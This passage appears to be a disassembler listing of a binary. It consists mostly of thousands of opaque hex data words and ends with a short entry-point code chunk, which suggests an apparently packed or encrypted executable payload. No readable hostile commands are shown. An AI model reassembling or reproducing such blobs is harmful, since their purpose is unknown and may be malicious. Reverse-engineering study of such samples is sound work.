		dd 0B804E270h, 0AE035B6Ah, 6040019Ch, 2010E8E9h, 9CC9E04Fh
		dd 24B83B8h, 0BFE89C35h, 3100E3BEh, 3C192A18h, 21BA0C9h
		dd 0C1B099D1h, 0BCC1DFD3h, 8704DC66h, 3EFA505h,	54B4D0C3h
		dd 65D42C6Fh, 208D13F0h, 0AC8EF5A8h, 0E98FD00h,	13D96476h
		dd 61C709B3h, 84AC450h,	0E01908C0h, 2E834417h, 904C5088h
		dd 12DC004Eh, 662DB68Bh, 1100DDB3h, 0BD616927h,	4AA23BA0h
		dd 45CD09Bh, 540EF852h,	31AA736h, 98EFF66Eh, 121F7FAEh
		dd 90F4DB2Ch, 0A53A698Ch, 605C9700h, 6B56B61Dh,	0A394003Eh
		dd 0D3E3B04Bh, 9A200CD7h, 1C2C758Fh, 667028h, 0D29BDA9Eh
		dd 5215C4E2h, 803D31h, 551788B8h, 7BCB376h, 6FBAFA86h
		dd 6EE37250h, 3BB41460h, 0C90794Fh, 1E46D217h, 0F96DC283h
		dd 0DE719D80h, 6050C45Ch, 0E5BB1B00h, 35E9B299h, 0BE80BC45h
		dd 704B9F02h, 9B0B32FCh, 8404B0ACh, 70F7481Dh, 920D7CC0h
		dd 3500D8D6h, 5A8D0633h, 2750118Ch, 8468A023h, 8499C6C4h
		dd 125C7030h, 0F030760h, 207E707Ah, 72EEF3EBh, 0C422B513h
		dd 0D2622C20h, 412C1EFAh, 27D52ACh, 92E8F000h, 0E60038C6h
		dd 0F964CBB6h, 0B00F8EE7h, 907B2402h, 99E300A4h, 5BC9A7EAh
		dd 0C7B6AB07h, 83719F37h, 187298C0h, 0EFC6E600h, 2B2F0F15h
		dd 0BFAB204h, 0A889A547h, 1181C2Eh, 20AE530Eh, 0E6108486h
		dd 0CCE9F519h, 0CB683503h, 66F0CD2Dh, 0B107D7BFh, 2BED2CF6h
		dd 114A92E0h, 0FC625C5Dh, 82B96101h, 87A18E36h,	30630CE9h
		dd 0E0A58420h, 0FD6801ACh, 20BFDD58h, 7B7CCC81h, 5C624Ch
		dd 5551D622h, 521C3923h, 8303D4CAh, 8C3AEA0Eh, 6C2157B0h
		dd 3CBC6D51h, 369A8400h, 0F77C540h, 0EE00A029h,	0A91EA93h
		dd 2450EDB9h, 90DCC2Bh,	2801DDC4h, 102D7BEFh, 0FA778Ch
		dd 5E355043h, 0CE0CB30Eh, 0D9ED7200h, 5D57C49Ch, 2FE37B09h
		dd 9C20C11Eh, 6266B228h, 0F82B48h, 0C63C0D0Eh, 70A3ED6Ah
		dd 0D14A0B6Bh, 48896E7Bh, 301F0C61h, 0B20141E4h, 2C74A6F5h
		dd 22DC9256h, 8F64B6A3h, 0BC864D7Fh, 914C118Bh,	289E3E1Fh
		dd 0C70BB410h, 409450AAh, 0EED8BC60h, 71F2000Bh, 9646510Fh
		dd 98B64E7Eh, 0DD4F1940h, 0D2942C54h, 7BCF04FCh, 6A42402Ch
		dd 3EC0A809h, 0CB00D853h, 0A6D0EA90h, 0C3E1C30Ch, 2B7AD7E1h
		dd 47ACB847h, 5B4D5531h, 46E0930h, 0BE95B412h, 0E01C8293h
		dd 500060D9h, 0A3201F4Bh, 5C0E7684h, 0D280687Eh, 0BF026BFBh
		dd 0CEA67409h, 95E50555h, 7098D4C0h, 7AB30463h,	0C075BF12h
		dd 0C6259770h, 0A257F0C0h, 6FA6C8E4h, 4409709Fh, 6C077051h
		dd 0D0FA7DE9h, 3C1BBC40h, 871D01D2h, 0B9A48B71h, 0F7A77030h
		dd 98985C2Fh, 346AA2Ch,	84F96DF0h, 0E8E8A7A1h, 5B1FAD35h
		dd 6245D2CBh, 988CB2F8h, 0E35F1D97h, 126A4061h,	0FB535617h
		dd 0DA68DD0Eh, 81838236h, 0E07CC22Bh, 753E545Ch, 0E8F6F4A1h
		dd 0B98F00B2h, 0D27CD86Dh, 254B43D1h, 953098h, 0DDD93A8Dh
		dd 71159C6Dh, 70CA1401h, 0C77CB3A7h, 663FB542h,	807400F8h
		dd 0A538478h, 0D139E421h, 0FF4600AFh, 7D933512h, 807C96E3h
		dd 81B81AE0h, 1C12E95Fh, 3CC81970h, 63F00369h, 386D48FEh
		dd 0DC1C6CD9h, 102EF691h, 0C30F909Ah, 0ACE2B2E8h, 0BF2FE003h
		dd 880DD8Eh, 457CF3D8h,	4A4C124h, 4B5E7184h, 0BEF7F080h
		dd 3C60E577h, 9BC882Eh,	0FD43B803h, 7CBF4805h, 997D1359h
		dd 0F82431h, 0B1050C9Ah, 0E41DEC44h, 0E9807429h, 524647B0h
		dd 32D302FDh, 0D259B2DEh, 6A0E8E0h, 8FE7C2Eh, 13AA23Ch
		dd 0E6CC5E34h, 28603E8Dh, 8113839Ch, 4542D80Dh,	730900BAh
		dd 102BB6E8h, 0CD58BFB3h, 21C00B0h, 0F49EF6BCh,	48AD4870h
		dd 2FD65200h, 605BA199h, 0AB009FF0h, 0A64C8359h, 7A280947h
		dd 0B85027ACh, 5303B020h, 5F2704BDh, 23201060h,	0F05802B6h
		dd 0FD264AA6h, 3C81B9E0h, 1C6F2105h, 20009973h,	0C9E86D19h
		dd 985E7Bh, 4B2D24DCh, 498AD68h, 1C20874Bh, 4C2AC79h, 4427A26Ah
		dd 0C108AC7Dh, 0D2E38F0Ch, 9804D2CEh, 5C38000Ch, 0D66B83F4h
		dd 58985FC6h, 208D7F4Bh, 31BC70E1h, 0CB115C4Ch,	0BC720EFBh
		dd 802EE41Ch, 42AC8CCh,	0A4DE192Bh, 0D249805Ch,	0C4185EBEh
		dd 0AC888372h, 98B5244Fh, 4D314064h, 85002DCFh,	83451E5Dh
		dd 97F4644h, 0C2D29DF4h, 0B819A485h, 4BB3DD8h, 1E0F544Bh
		dd 512814C0h, 2DA070D8h, 0ACC486E6h, 7D82FA01h,	4E45072Ch
		dd 7A201DCh, 0B0C753CEh, 82A444E5h, 2C60E618h, 3F2F7FE0h
		dd 0B3B48211h, 0FF8FC05Bh, 8CE904A5h, 0F3D2E843h, 9C214B7Ch
		dd 7ED8ED2Dh, 158B00A1h, 0A9BCD08Eh, 4300D8C1h,	824F6B55h
		dd 0A47035DCh, 6A5804A8h, 88C9D6D4h, 93972374h,	0F7808450h
		dd 9131FEFFh, 584B0F14h, 0F7677D00h, 59001A7Fh,	0D0A1CEF9h
		dd 1DE4E37Ch, 8205FB54h, 0D95BD457h, 1A40B056h,	1E195A6h
		dd 0FE85622Ah, 72F5C452h, 2ECA00C0h, 367CDEDh, 0C08C0539h
		dd 9E8D276h, 10909A4Ch,	0D7037004h, 338AC029h, 0F5D3B92Dh
		dd 24006429h, 55D2E4A0h, 22027F0Bh, 0B46FD8C8h,	7DC44044h
		dd 40118931h, 0D7CA47D8h, 0FC0058F8h, 53F7AA50h, 4849E491h
		dd 8E8908BBh, 0D960D8C8h, 26CB961Ch, 0A7B3B6C0h, 6EDC71h
		dd 0A611559Dh
		dd 474377F3h, 0B19C7800h, 90397210h, 3C6700DDh,	0DBC8A624h
		dd 3A160FE8h, 7CE263C3h, 9E24205Ah, 50381F1Ch, 0CFA193EBh
		dd 89C2E00Ch, 18164825h, 0EA6C8F02h, 0F05E8D0Ah, 0E8290B85h
		dd 0EB07F51Eh, 0D70107F6h, 830979Ch, 829904CBh,	836CDB84h
		dd 45C7E0D0h, 0CB6CA8B2h, 0E04427h, 0BFAD722Dh,	0A8A72E3Fh
		dd 7600AAEEh, 0DE1310AEh, 1ECF592h, 8AE31A3Ah, 0E03B33BCh
		dd 86005126h, 8C4A7A97h, 0A29DAh, 0AF2AC34Bh, 361732BBh
		dd 426BBE07h, 0EA302860h, 60DA714Eh, 9B592952h,	900567Bh
		dd 0D48611EBh, 4057E1h,	84CC7965h, 0CA3F89AEh, 7CEE8CE8h
		dd 5094F406h, 4127DAh, 4F9A3DBCh, 394369EAh, 0E4892607h
		dd 2CA01A90h, 3670C7h, 0E2EC6AD6h, 0A2FC33Ch, 0D09E8500h
		dd 0BBA49283h, 0BD9101D8h, 0FD056A2Ch, 5807CF4Eh, 3308B32Fh
		dd 8000605h, 1FA1E50Eh,	0CDCC1B02h, 72C8180Bh, 100636CEh
		dd 0F4893C99h, 2C770099h, 0B3581D62h, 0F0142E2h, 8683D6B1h
		dd 0A0F7CD61h, 0E40753Bh, 0DC9AA80Dh, 684AB106h, 0FDB2070Ah
		dd 63008DA4h, 75EB48D4h, 798F011h, 0FB511A21h, 90FDD10Eh
		dd 7100E7DFh, 0BE31DB5h, 78B83828h, 73E500DAh, 5CE93E6Bh
		dd 8907E1C7h, 0FED53087h, 6001DF65h, 0CC1F9188h, 643C88FFh
		dd 3BB23B60h, 4259F1B1h, 977CF03Ah, 0FB4E39h, 3E104CA8h
		dd 50BD7917h, 34BA808h,	0BC94A67Fh, 0D8F1B620h,	5CD840B9h
		dd 8B039E0Eh, 42D24798h, 1F318EF3h, 0B9947379h,	40E4A99Fh
		dd 782915BAh, 8A120297h, 10277D3Ch, 2FA90Ch, 58B2E49Eh
		dd 7022B385h, 0D03EFE03h, 0C082FCE6h, 0A84E8326h, 0F4275F0h
		dd 0EC8D012Dh, 0FD410F4Ch, 9240E306h, 293D5Eh, 9A96F266h
		dd 0C551A3BEh, 5CE8700h, 0B5B398Ah, 3870A878h, 0CAA90017h
		dd 888D09B2h, 850021EFh, 0D94A1FE4h, 2BEC42h, 0CB5F4CB4h
		dd 6E83BC5Ah, 50652C00h, 0CC7196FBh, 0C3B80049h, 77F66C10h
		dd 3C0756C8h, 5A90F247h, 0DFD95F60h, 306BFAFDh,	7B4963B4h
		dd 5D00EB7Eh, 8674E488h, 0F10BDE80h, 37C2BBD0h,	0F7295CD6h
		dd 37AE134Ah, 5052CA37h, 0B3FEF2C0h, 0F94D00CEh, 0D96C094h
		dd 7DE40608h, 3B7EDC06h, 30382BE3h, 9E085688h, 0A20044BDh
		dd 0C81B2246h, 1959D2FAh, 6871DD2Ah, 5880F656h,	2847DB08h
		dd 99D5E61Fh, 0DE2981C7h, 0C31114EAh, 97C6AB00h, 8A7D3910h
		dd 0B3B25D1Fh, 0B480B975h, 1AC068D5h, 0B956EA6Fh, 2E40528Eh
		dd 93138096h, 0D634DB0Eh, 4625A360h, 0B3590BC5h, 0C100DE15h
		dd 40AEF8EAh, 0FE4FE48h, 0A17CE646h, 6FBBDF3Ah,	599858C5h
		dd 9B6C88D9h, 7A04A4A0h, 46B95507h, 6691DB19h, 998048B4h
		dd 0C97F24F6h, 7CE49EE5h, 13143605h, 0B900A882h, 0CB819ADBh
		dd 29D4A4A9h, 268C1547h, 7D931D0Ch, 44D50301h, 0DD51D78Eh
		dd 522180C7h, 7557A253h, 0B6880079h, 0B8460ACDh, 50ECD502h
		dd 6934A305h, 8400AC37h, 48B9DF3Eh, 29A8A4DDh, 0CFCAEC2h
		dd 470BEF6h, 0B2A5010Ch, 0DE195Eh, 0B0FE2761h, 7EB4735h
		dd 0EE0012F0h, 0EFE30D0Bh, 76ADCA4Eh, 0C4B0030h, 0B7C905B3h
		dd 0DF0B8EDAh, 1077A44h, 43F63132h, 0CFF13C40h,	1263EC8Bh
		dd 1FB9B3E1h, 0B77A2240h, 65DD1004h, 848C2467h,	411C07B1h
		dd 0CFC2B572h, 8D34EAh,	0F263644Ah, 0F00FEE55h,	92D528D0h
		dd 25DF1C4Fh, 0E40EF5F7h, 0EF4386E9h, 0A6780081h, 7322D625h
		dd 0ED025534h, 0CB4B038Fh, 758446D2h, 0DA2A1850h, 44705167h
		dd 2055E131h, 298046B3h, 64455085h, 6B0120E9h, 3C9890C4h
		dd 5A30F71Fh, 65B10166h, 0AB97A112h, 4C229Ch, 6482C296h
		dd 3D2B7D5h, 0B878B544h, 2100289Ch, 41D3585Ch, 8FDCCFh
		dd 6097D84Eh, 89D6628Eh, 0E4297E0Ch, 694699BFh,	5E80D9CAh
		dd 8A2C0206h, 1320FA1Ch, 8BE211C0h, 98B6C9DAh, 0E547442Ch
		dd 70C2C100h, 4666B3C7h, 691D0703h, 44DA47D8h, 0AD10935Bh
		dd 70F541A4h, 0F82002FAh, 0E42819A9h, 8478158h,	347BDDh
		dd 0FF100D24h, 0E1651E32h, 483F62EEh, 0F8D38141h, 55437091h
		dd 8EAD5980h, 669C2CDEh, 0D69F3924h, 29840D1Eh,	82552Fh
		dd 88D8204Fh, 4E03025Eh, 7675A427h, 697D9826h, 17FF1F3Eh
		dd 0C481BC09h, 0B3252EE4h, 0A3398045h, 81E21F50h, 51BC011Bh
		dd 5484AE6Eh, 0FDD3FC8Dh, 9ABBE80Ah, 3E0034B3h,	0ABE98AADh
		dd 9F9D0355h, 5E30620Eh, 67C0B0EFh, 0A6077D88h,	0FA65B8D3h
		dd 43138C6Ah, 49860C30h, 0FCF4155Ch, 42079066h,	477EDABFh
		dd 0DF11D0B6h, 9C061AA2h, 60B284F2h, 1B814879h,	62DB6E04h
		dd 6A8857Ah, 2149B335h,	6678C800h, 8F3F9563h, 30E702F3h
		dd 3ABFA754h, 2818E760h, 134BE101h, 5BA33C61h, 884C5424h
		dd 0FC007FAAh, 3FD727A6h, 62304Eh, 8A5077EFh, 60796152h
		dd 0D53B9C00h, 7FE34947h, 73FD14DEh, 1D1EFCDAh,	95D2007Dh
		dd 3602DC35h, 22FDh, 0F2131237h, 0A4B475A7h, 10E900BCh
		dd 0ED216C6Fh, 0D763568Dh, 0D0E152F4h, 5CD53124h, 8016C543h
		dd 0FD880615h, 89005160h, 8A11C1D7h, 0F4BD50h, 4F689D22h
		dd 0D6649C6Fh, 0E3463D0Fh, 560CC7ECh, 0C3BFE1B0h, 0CE5401EAh
		dd 9D17E44Bh, 13B42253h, 0B700528Fh, 8B36762Eh,	88700710h
		dd 1DBDC22h, 806DFDC9h,	0CA7CB579h, 0EC0B18F8h,	2E1A28DCh
		dd 4B0807E6h, 7FEBA5E5h, 0B3728C62h, 4A365040h,	0D1186A90h
		dd 15712A9Ch, 66CD00B2h, 0BAAD4076h, 5400244Bh,	9236F983h
		dd 39472FC1h, 68C0BE0h,	1E48B257h, 415B9D30h, 1C02807h
		dd 0BDD90F82h, 0C408380Dh, 0FE52690Bh, 0B67200B8h, 0BD52B30Eh
		dd 0DBB80003h, 833B8EABh, 0E4332A4Fh, 0A722295Eh, 42FE9h
		dd 361129D6h, 0E161380h, 448C0050h, 4A238241h, 3B96DC19h
		dd 6EECD7D8h, 0C800764h, 0F0E3F959h, 8415AE12h,	80C4273Dh
		dd 80958E9Dh, 60B305DCh, 0B013615Dh, 0BE06191Eh, 64AFCAF6h
		dd 0DC471689h, 0C3682097h, 10B89308h, 2DEEB0Eh,	0BADD008Dh
		dd 0E33D3330h, 7EE70C20h, 69477282h, 440839BCh,	2783064h
		dd 0C13CA4DBh, 0DF6A00BFh, 8E8C6FE0h, 0A424549Ch, 0EED400E6h
		dd 7135F60Dh, 4712D22Ah, 1FBD09Ah, 552D6096h, 595D60EBh
		dd 35DE2CA0h, 17011972h, 5C47436Ah, 0A030027Eh,	0FEDB078Ch
		dd 0F077FBD5h, 3FD97198h, 3AACF406h, 58D01CE3h,	0C40AA08Fh
		dd 0AC40BFh, 65AC3B34h,	0C058DB47h, 2A22DEB8h, 90D45CFDh
		dd 0CE4A00BBh, 0F001B4A8h, 0D4996D39h, 3A748D80h, 5F23Ch
		dd 6E940396h, 5B02E60Ch, 71D541C0h, 2AF120h, 8BEC4ECDh
		dd 45BA39E1h, 6EFEA0A4h, 0A0589400h, 0F465B0Eh,	3E0E6E4h
		dd 0FD333BA9h, 0C89D6567h, 0FE007ACCh, 0ADC906ABh, 0BA9E8FDAh
		dd 0FBB82444h, 241F0058h, 459186DBh, 0A6F51C04h, 84C084B4h
		dd 2D80C12h, 0B2B19856h, 78C44865h, 0B09BDA06h,	11299Ch
		dd 8FB76F3Eh, 1C4A0697h, 0E5575301h, 6ADD293Ah,	0F447898Ch
		dd 0C9705CC1h, 94770800h, 42EFED74h, 21B3959h, 0C8454E81h
		dd 105BDE29h, 0C0579CACh, 3FA63869h, 3C00D748h,	5B26421Ch
		dd 0C42F4570h, 89C22921h, 2246F1ACh, 98AD1EC4h,	24241714h
		dd 0A05DC20h, 9420FCE4h, 120EB083h, 882B620Ch, 6D786644h
		dd 0B0E49B24h, 603DB201h, 74303BACh, 0FE4B1181h, 0D571005Ch
		dd 0B1EFC414h, 0CC9FA25h, 72E32931h, 7C000C21h,	0ACB73975h
		dd 54438701h, 0A188FBh,	0D3FFE8A9h, 486A651Bh, 0D991BF07h
		dd 0EFD5C40Fh, 0F1D4B430h
		dd 0E1701608h, 343D0090h, 0F8BA419Eh, 32137F12h, 0ECDC0406h
		dd 709C5C59h, 0F9E07E80h, 9E000666h, 0C7393393h, 937A014h
		dd 0CF252822h, 0DD856580h, 62014B26h, 5F200F52h, 0C0F0EFDCh
		dd 0DF4A00B6h, 0E1807F03h, 0D401E29Bh, 7040E52Fh, 7472A36Bh
		dd 0B474F500h, 4767323Fh, 0EB074876h, 931E0945h, 0D6D9C202h
		dd 40E824CDh, 58279132h, 6D004A98h, 0D7A54B7Fh,	940B7866h
		dd 0D372478Ch, 0BB8501A0h, 0EE0DE0Bh, 88EFA018h, 9D4318Ah
		dd 0BB19CF6Ch, 1B2D7880h, 5600F648h, 3832DA8Ch,	0FF7AED6Eh
		dd 2EA44Ch, 0DF8A4117h,	972F266h, 433EEC78h, 0C6699431h
		dd 0F6DE02F0h, 46BE9C83h, 0A5B40040h, 45F5FD46h, 913A6BD7h
		dd 0A9BDB0CFh, 0B01B7h,	0D1B60E18h, 424B6307h, 0DEC82900h
		dd 0D93BF4A8h, 505948FDh, 92D54780h, 4C012810h,	6F99EB3Eh
		dd 4020AB40h, 69358842h, 0FB3438h, 0EF8E9589h, 163F86Eh
		dd 0E3CFF23Fh, 818DF346h, 0F6061B81h, 58409D53h, 2CEAB625h
		dd 198211h, 0DC5C38A0h,	8B0CD5A2h, 292DA39Dh, 263001B5h
		dd 0C60484A0h, 509430F7h, 7580F094h, 0C4403ADEh, 0A70A0110h
		dd 43F4ADB6h, 0CAD048C8h, 2C01D000h, 39E0283Bh,	251DF6CDh
		dd 84A00DE5h, 7A978AE1h, 5446BA07h, 84DAFE78h, 8217C080h
		dd 1C13B3D4h, 498F7Dh, 2E9D3014h, 55025E01h, 0AD0D3D6Ah
		dd 23A4E179h, 0A1E44Ch,	0A09E1D45h, 0A4FBAD4Ch,	1D7113Ch
		dd 0C27E67DAh, 9CC114F5h, 3B033822h, 0E30B17B8h, 37E06DD3h
		dd 7C0F903Eh, 0AD6FCAE1h, 1030295Ch, 5B7900FDh,	67EDCF8h
		dd 0B900DF1Dh, 68E3A709h, 9503DBh, 9885AE71h, 8626CF13h
		dd 0D6F99F00h, 0C00B29EAh, 4C470916h, 781BACA4h, 731FF188h
		dd 372F93Eh, 0F73B097Dh, 0BD9BC0A8h, 97330012h,	0F2DD71B6h
		dd 0D74CC2A3h, 0E60B8744h, 3BD5E3F0h, 95AE013Fh, 9FD7D9BDh
		dd 38E830A4h, 0FD0654FCh, 2648610Fh, 9CB971h, 7F1F7865h
		dd 0EA01EFFCh, 14B7AA9Bh, 0ADD95638h, 2200460h,	7037ACCCh
		dd 0B871583Ch, 0D7874403h, 0D8409DFDh, 0EF71CF68h, 80382C96h
		dd 5EFE607Ch, 491F6B93h, 0A380235Dh, 0BE66AE72h, 31918E7h
		dd 0E4B92964h, 8B22FB03h, 0E8D43685h, 3D81DCh, 2CE63739h
		dd 4749BBCBh, 5F31DD60h, 0D53BB2h, 0ED07192Eh, 0F665BB8Dh
		dd 0FC79BE1Fh, 3C062B03h, 0CC03E52Dh, 0C96E1332h, 0BC39437Bh
		dd 0A495EB02h, 0B0E87A3Fh, 1A0154A3h, 0E33C50B3h, 60329D21h
		dd 0DFC9EE00h, 0DEAAEC42h, 4DA4C701h, 0F198151Bh, 4BE646C0h
		dd 9C0440FDh, 7D1E9583h, 0B2892B8h, 6044D868h, 0C7283BD5h
		dd 24C3E50Bh, 406FE484h, 0F6A413B9h, 0A1C16043h, 0C6FFB0C8h
		dd 140057B8h, 83B467C7h, 2F2D39Ah, 0FDA6DC7Fh, 0BCC12EE2h
		dd 0F6619641h, 88634800h, 96D3C2B9h, 7F0E67ECh,	5318D812h
		dd 11884900h, 0DB1D859Ch, 0D7FB1F7Ah, 1CE90073h, 0BA92B063h
		dd 272F2800h, 438EDC4Ah, 5CD7F07Fh, 98008836h, 407B13BDh
		dd 150146BCh, 7257DA6h,	8C40D211h, 130ADBF2h, 20DF473Dh
		dd 0E393E148h, 16455501h, 890F75E8h, 1704F870h,	2269D529h
		dd 520920Ch, 6F7B51Bh, 46F01096h, 7A3C19EEh, 0D3EB00B7h
		dd 68E82CAFh, 0B0B3EA7Bh, 58F34828h, 47605C22h,	0BEC60A60h
		dd 813A02DDh, 0B3C819C4h, 0A303807Ah, 9AF0E973h, 6CE59825h
		dd 12441667h, 0C07E1EE6h, 3B35F847h, 0BB012306h, 6372D730h
		dd 0C3FCD531h, 52C949Eh, 46C47Bh, 12B6365Ch, 113E94CEh
		dd 1C72225h, 0E23CF01h,	7043AC29h, 0C0E6D09h, 0E071DAC4h
		dd 74F43C3Dh, 2320FF46h, 2A4490DCh, 18C5DE0h, 0C7DFABDEh
		dd 69B38B04h, 59471D40h, 8038980h, 2653586h, 1937F776h
		dd 80C391DAh, 16606EB2h, 9F00FABAh, 0F8DBDE5Ch,	0C0780276h
		dd 0A66F2EC8h, 12026106h, 0B70F1116h, 1464B2h, 0A68D1A78h
		dd 9EC9DF98h, 0F800BE79h, 46A23B38h, 4A20B812h,	81CC419Dh
		dd 0D0C80F21h, 5100446Ch, 0F6B8B27Eh, 106D79Ah,	9FD62D65h
		dd 134DD4C2h, 0E1BEFDh,	81628A2Bh, 0CA6DF176h, 0F50BF4E6h
		dd 8039FDCFh, 50E841CFh, 77490DFh, 0CB195E0Ah, 0F68048D5h
		dd 0D830ACADh, 3C643AB0h, 0DD2BAE83h, 0C2B86B0Fh, 0B091500Ch
		dd 0C064B50Eh, 0D6FE7E14h, 0F7CA054Fh, 0C0DEB3D8h, 324ADF9h
		dd 0A3077D77h, 1DBD019h, 7B991ED0h, 54D50090h, 89B0C149h
		dd 0CA00D971h, 0D660E0C5h, 501A371Bh, 7CF68FEh,	77E54AE7h
		dd 4ED07107h, 44B8DBB3h, 60FCE3B5h, 91E45302h, 640E35DCh
		dd 149E0114h, 0E1F9CEEBh, 56E3CC2Eh, 0A1154407h, 4A2A8DBh
		dd 8E8CD954h, 8F00BBFCh, 1E9DDF27h, 4944E401h, 81D405C3h
		dd 0FA319061h, 3E7FDC20h, 610B85B0h, 6C13513Dh,	0C78FE4C8h
		dd 0B51CB7F8h, 0F4AC0E47h, 21A16540h, 2F5301F4h, 8146CF8h
		dd 0D7ED448h, 77810C9Ch, 656E7C20h, 751C3438h, 4F984EAh
		dd 3B8C850h, 80700B0Ah,	0B900D085h, 230E27E5h, 80D4949Dh
		dd 0AFEC6736h, 4400AACDh, 2C75B8D3h, 0FE7A28h, 0A48858B4h
		dd 0F67946BDh, 1C2DE7h,	0B515D60Fh, 5B7EA0h, 0AF116989h
		dd 19321637h, 29AE8009h, 3BA018DCh, 9AA3BC5h, 0BF83CBFh
		dd 4648A5DBh, 22E25C90h, 101C3Ah, 0EEB30541h, 0B68D30Ah
		dd 47D72A1Dh, 4400E044h, 2960C735h, 6D896Eh, 0EE6CB5C8h
		dd 0C2B23C08h, 0AC01017Bh, 708B144Bh, 2430ECFAh, 165CB0D1h
		dd 3006541Eh, 2325B380h, 0B9A76500h, 16ABD7Ch, 601A003Ah
		dd 7B98BB48h, 0A4989413h, 2E9C11FDh, 0A53A8983h, 9097760Dh
		dd 0B1A8AE4Ch, 9D64AC01h, 0A2EA6113h, 0B225AC38h, 5CFA2020h
		dd 4902188Dh, 0F7587876h, 77506032h, 453400DDh,	0FE63B1E5h
		dd 1FEE43D5h, 26D479EBh, 4009D22h, 3A03B14Ch, 0AE5305CFh
		dd 0E244705Fh, 2DE312C8h, 0CEFF0402h, 18A8C111h, 1F3BB873h
		dd 74C62700h, 0F1806B50h, 3E022500h, 3ADC89B1h,	167F0AE3h
		dd 803C739Bh, 0B502FF71h, 0F0075FF2h, 0F3C81569h, 36241600h
		dd 0B2981892h, 8B9CDAD8h, 0A6001598h, 0C1D5FDDAh, 90A5505Dh
		dd 0DFB7161Ch, 93ECC853h, 2259312Eh, 0ED32003Dh, 6B801A89h
		dd 53F70339h, 3DB65A36h, 9EF04891h, 0EB165F89h,	79928C88h
		dd 7A1A0463h, 405EB377h, 0CC668A44h, 0BA0B0BE7h, 182F58h
		dd 0A00769AAh, 33D89631h, 9879FA80h, 5B5003A7h,	3D2B3C85h
		dd 3C78CDDAh, 0E92845EEh, 312F8562h, 640410F5h,	0AB47014Bh
		dd 85D1C3F7h, 2A8F6039h, 43594F00h, 0CB456E11h,	232B5F64h
		dd 0F5C0E754h, 0AE13E6BEh, 6100C173h, 0E8E5DD44h, 8028992Dh
		dd 5D933A39h, 0C227BED9h, 60CCAAD6h, 0A0AD3400h, 99B32CDCh
		dd 4B090E58h, 0ED05F2E0h, 0E9002099h, 0E41346ACh, 5CD94A21h
		dd 0D52EE104h, 7844493Ch, 0CD108900h, 257C4B67h, 208C0009h
		dd 3D9B50BEh, 0A1A03412h, 0D15F6DB3h, 0A2DCD400h, 2C8DDAh
		dd 0D6CB73Fh, 3C88DB90h, 6432C007h, 15623A10h, 14D1CAh
		dd 0D186BC57h, 0FA005E4Bh, 62E4ABD8h, 0D2EB02h,	1ABA8748h
		dd 0F0DC2BA4h, 0A96EE1BDh, 12A23430h, 21A3ABF6h, 0F0B71A6Ch
		dd 47373521h, 0B6C0C108h, 14E17FF9h, 0D0F6221Ch, 3EDBE5C0h
		dd 0F9FE81ECh, 0B8185101h, 7CBC911Ah, 946ADCCh,	9CBF1342h
		dd 1EF68090h, 0BD0072E6h, 3D854062h, 6BD436h, 7CED6CFEh
		dd 9DF8A052h, 0E8B252h,	7A6A628Bh, 0B889F1h, 0EAA2F51h
		dd 6504BF31h, 2B3CDBE4h, 39005819h, 669609Dh, 0FB0849h
		dd 7ED3D5C3h, 0B02F1CB9h
		dd 8CEBAD3Bh, 614BB3BBh, 0BDFE0054h, 0DE447924h, 59004EC4h
		dd 0DB8ACA1Bh, 7F2ABC2Ch, 0CB218086h, 348DAF4Ah, 382FF8F3h
		dd 792C61A3h, 0E1B559C8h, 6CADE440h, 5F8E923Eh,	0E4329820h
		dd 5ABF0FC2h, 2A620BB8h, 0F4FA94DEh, 0ED023470h, 0E43601DCh
		dd 668D853h, 0FE3B04F8h, 0BE00296Eh, 52B1DA93h,	3383227h
		dd 674210E6h, 6AB2537Ch, 0F6410856h, 2DB9681h, 3D6B7A6h
		dd 4072FDADh, 1F3E2960h, 0C633E5h, 720113C8h, 1075026Dh
		dd 0B5674000h, 71B112E4h, 0DCEF3EAEh, 30C000CCh, 0A4E85417h
		dd 0A7462E02h, 726F70ADh, 5A34FEC0h, 0CCBC0536h, 0FCC20A3h
		dd 7F26C45Dh, 0BD00DBF3h, 94471780h, 6E92128Eh,	0D4DCC907h
		dd 267D0BEFh, 16C38800h, 2ACADF8Dh, 0BA0F1265h,	98B420B2h
		dd 0C300E4E5h, 710DB86h, 0EC571304h, 8F7A01FDh,	0E7C0285Bh
		dd 2B29C0DAh, 0ACB4B577h, 45A0360h, 1B6EA0Dh, 0D866601Ch
		dd 82E466Fh, 0B97244E4h, 3BA14403h, 95B64BBCh, 7B0B7880h
		dd 0AEC230BBh, 0C805A31h, 0F5277C09h, 0E405243h, 0B36F9E08h
		dd 0E0608F49h, 6405333Bh, 68073AC6h, 0E061C8Ch,	0DFABC1E3h
		dd 771423A0h, 960093ECh, 7FBD78D7h, 7414F07h, 80B6D43h
		dd 8007BB31h, 0E8DB31FAh, 81647855h, 70882845h,	0FD7FD084h
		dd 40E8C9FCh, 82616E97h, 0DC5B3Eh, 483AE81Ch, 2A28D3BFh
		dd 127871C7h, 2941EB4h,	8AED2D80h, 13009851h, 37D581A8h
		dd 46C900D6h, 770544F8h, 0B501F51Ah, 0C2609CDAh, 844C94D9h
		dd 15B40033h, 7BB7F610h, 4DF93D70h, 0BE21DAB4h,	6441B2ADh
		dd 0B6C93901h, 0DACC8AE9h, 0CAFE0D94h, 4C214ED6h, 0A601CC68h
		dd 1DB2850Fh, 0C770BB7Fh, 10A30073h, 358C518Dh,	292E9C42h
		dd 17602CD6h, 0BD776Dh,	0C01B63D8h, 0ECF54859h,	48FD6F28h
		dd 8041DA38h, 7BD7202Dh, 14644EF3h, 6C154804h, 0DAE64400h
		dd 7FF17073h, 3C03DC00h, 0D10123D5h, 0B4AA2E05h, 0B2310C18h
		dd 478964E8h, 0CF00F42Dh, 0DED19916h, 7D0F7482h, 299A2FC3h
		dd 7E6050ADh, 0AF1026D2h, 200D02A8h, 0C491AECBh, 2072FDh
		dd 51474E03h, 17139272h, 18A7BC7h, 0A8C2BF5Eh, 31BF55h
		dd 91C42556h, 0C196ECF1h, 0FE196F98h, 95271171h, 2968FA30h
		dd 60B4DBC2h, 337BC0BEh, 0D3393A00h, 410AC52h, 0D232624h
		dd 0F2BB00A8h, 1270E8F4h, 610FE509h, 952C523Dh,	89D8C890h
		dd 8048DA39h, 0B3B7ABF9h, 736AB6ACh, 0D1C218E9h, 0DA472954h
		dd 4C2E2CB9h, 59B09F47h, 321613Ah, 72177D36h, 63B85E4Dh
		dd 1A5CC13h, 0C0F6FFFFh, 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_549A0D:				; CODE XREF: start:loc_4E1265j
					; DATA XREF: start:loc_4E1086o
		jmp	loc_54CF3E
